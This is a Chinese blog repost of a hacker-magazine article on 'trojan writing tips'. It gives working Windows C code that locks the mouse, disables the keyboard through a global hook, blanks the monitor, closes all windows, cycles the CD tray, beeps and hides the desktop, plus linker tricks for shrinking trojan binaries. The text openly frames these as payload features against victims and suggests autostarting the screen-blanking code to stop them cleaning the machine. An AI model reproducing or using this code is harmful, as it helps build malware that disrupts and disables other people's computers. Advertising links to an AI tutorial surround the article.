1. 程式人生 > >木馬編寫小技巧

木馬編寫小技巧

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow

也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!

                 1.鎖定滑鼠:
這個功能很簡單隻要一個ClipCursor()就可以搞定了看看下面的小程式
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
 printf("/n別害怕15妙後你的滑鼠就可以使用了^_^/n");
 RECT rect;
 rect.bottom=1;
 rect.right=1;
  ClipCursor(&rect);
 ::Sleep(15000);
 ClipCursor(NULL);//釋放
 return 0;
}
  注:本文於06/12月於黑客防線發表版權歸黑客防線所有,轉載請註明出處
rect是一個結構,表示鎖定的範圍我們通常只用 bottom和right兩個域
2.鎖定鍵盤:
鎖鍵盤一般用鉤子實現,所以難度稍大,不過下面這個程式當簡單,而且連鉤子所需要DLL也省了
  #include <stdio.h>
#include <windows.h>
//處理按鍵訊息的過程函式
LRESULT CALLBACK keyproc( int code,
      WPARAM wParam,
      LPARAM lParam )
{
return 1;//返回1可使鍵盤停止響應
}

 main(int argc, char* argv[])
{

 SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安裝鍵盤鉤子
 printf("/n/n/n程式將在15妙之後返回...嘿嘿15妙內你的鍵盤是無法工作的哦/n");
 ::Sleep(15000);
}
  注:本文於06/12月於黑客防線發表版權歸黑客防線所有,轉載請註明出處
上面的程式碼是參考了6期“全域性鉤子”和7期“楚茗”的文章寫成的,使用鉤子而無DLL的關鍵就在於GetModuleHandle(NULL),GetModuleHandle()引數為NULL得到的是呼叫者本身的模組控制代碼,也就是說用程式本身作為DLL。因為是console程式,所以隨著程式的結束鉤子也就OVER了,所以我並沒有解除安裝鉤子。鉤子果然是強大,學會使用鉤子你的水平就不一般了^_^.
3.關閉顯視器
這個也是相當簡單的看看程式碼:
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//關閉
 ::Sleep(10000);
 SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//開啟

 return 0;
}
要是你夠毒的話可以讓它自動執行,開機就黑屏,任你防毒水平再高,沒有顯示器看你怎麼殺…….嘿嘿
4.關閉所有視窗
原理是列舉所有視窗控制代碼,然後傳送WM_CLOSE訊息來關閉視窗,效果蠻好就差沒重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//將視窗控制代碼傳給回撥函式處理
 return 0;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回撥函式
{
    ::PostMessage(hwnd,WM_CLOSE,0,0);//結束視窗
 return (true);//返回FALSE時EnumWindows結束
}
程式用EnumWindows()列舉所有視窗並把視窗控制代碼傳給回撥函式EnumWindowsProc,而回調函式的任務就是CLOSE!,呵呵
5.鎖定光碟機
其實說讓“光碟機跳舞”更合適,以下的程式可以開啟並關閉光碟機
#include <mmsystem.h>//注意加入標頭檔案
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 ::mciSendString("set cdaudio door open",NULL,0,NULL);//開啟
 ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//關閉
 return 0;
}
//注意在 工程-設定-LINK中加入庫檔名winmm.lib
如果你弄個死迴圈,就可以讓他的光碟機好好活動活動了^_^
6.製造噪音
大多時候我們要隱藏自己,但有時候我們就需要給對方放點音樂,小小的“提示”一下以證明我們的存在
#include<windows.h>
main()
{
 for(int j=450;j<500;j++)
 {
  for(int i=1000;i<1110;i++)
  {
   Beep(i,30);
   ::Sleep(100);
  }
 }

}
關鍵就是一個Beep()第一個引數為赫茲第二個為音長你可以自己試一下,弄點好聽的。
7.隱藏桌面
其實桌面與工作列也是一種視窗,我們可以通過FindWindow來查詢它們的控制代碼,然後通過ShowWindow()來隱藏或顯視,其中桌面類名為ProgMan工作列類名為Shell_TrayWnd。 
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
 HWND disk,mask;
 disk=FindWindow("ProgMan",NULL);
 mask=FindWindow("Shell_TrayWnd",NULL);
 ShowWindow(mask,SW_HIDE);//隱藏工作列
 ShowWindow(disk,SW_HIDE);//隱藏桌面
 printf("/n15妙後會自動出現桌面 請等待...../n");
 Sleep(15000);
 ShowWindow(mask,SW_SHOW);//顯示
 ShowWindow(disk,SW_SHOW);//顯示
 return 0;
}

縮小木馬大小,

1. 普通Exe 檔案

完全可以使用下面方法:
A. link標記: /nodefaultlib
代表: Ignore all default libraries

包括執行時庫, 都不用.

當然如果大家要用相關c執行時庫的api 怎麼辦呢?
可以使用相關對應的API, 比如strcmpi, 使用lstrcmpi, 詳細請參考下表:

Standard function

Win32 equivalent

malloc HeapAlloc
free HeapFree
strcpy lstrcpy
strcat lstrcat
strncpy lstrncpy
strncat lstrncat
strlen lstrlen
strcmp lstrcmp
strcmpi lstrcmpi
memcpy CopyMemory
memset FillMemory or ZeroMemory
memmove MoveMemory
toupper CharUpper
tolower CharLower
isalpha IsCharAlpha
isalnum IsCharAlphaNumeric
islower IsCharLower
isupper IsCharUpper
sprintf wsprintf
vsprintf wvsprint

B. 設定連線節大小及其他
加入下面程式碼到cpp檔案就可以.

#ifndef _DEBUG   
#pragma comment(linker, "/FILEALIGN:16")  
#pragma comment(linker, "/ALIGN:16")   

#pragma comment(linker, "/OPT:REF")
#pragma comment(linker, "/OPT:ICF")
#pragma comment(linker, "/OPT:NOWIN98")   // 使用老VC編繹器的512大小為一節

// 合併段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")

// Favour small code
#pragma comment(linker, "/ENTRY:WinMain")
#endif

如果是少量程式碼的Exe 程式, 最終大小可以在1500 位元組以內.
我曾寫過一個程式使用了檔案讀寫, 執行程序, 字元運算, 等等一共50多行程式碼, 最終大小為: 1488位元組.


C. 不幸的是可能還是要使用c執行庫
那可以使用這個 LIBCTINY.LIB檔案, 以儘量減小. 當然這個lib 本身包括不多的執行庫api.
LIBCTINY.LIB 檔案以及源程式參考:
http://msdn.microsoft.com/msdnmag/issues/01/01/hood/default.aspx

2. 普通Dll 大小問題


因為: __DllMainCRTStartup 或: _DllMainCRTStartup 要呼叫執行時庫
還好, LIBCTINY.LIB 裡面已經有相關實現, 可以用LIBCTINY.LIB, 而不用呼叫執行庫了. 這樣可以大大減小.

連線設定:

#ifndef _DEBUG

// default lib setting.
#pragma comment(linker, "/defaultlib:kernel32.lib")
#pragma comment(linker, "/defaultlib:LIBCTINY.LIB")
#pragma comment(linker, "/nodefaultlib:libc.lib")
#pragma comment(linker, "/nodefaultlib:libcmt.lib")

// section size
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:NOWIN98")

// 合併段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")

#endif

另外我的測試程式中匯出了一個介面
BOOL _stdcall ExpHook( )
{
return 0;
}

最終大小為: 992位元組.

3. 複雜Dll 和複雜Exe 大小問題

如果你的程式一定要使用MFC, 那怎麼編繹至少也有幾十KB了.
但你還是可以用相關PE壓縮程式壓縮一下的. 至少能壓縮到50%.

如果是COM, 建議不要使用MFC, 如果使用ATL, 可以使用壓縮程式壓縮一下, 基本會在20-40K 大小.

複雜型別的Dll, Exe 肯定是要使用執行庫的. 像用了ATL就沒有辦法不用執行庫了.

  

           

給我老師的人工智慧教程打call!http://blog.csdn.net/jiangjunshow

這裡寫圖片描述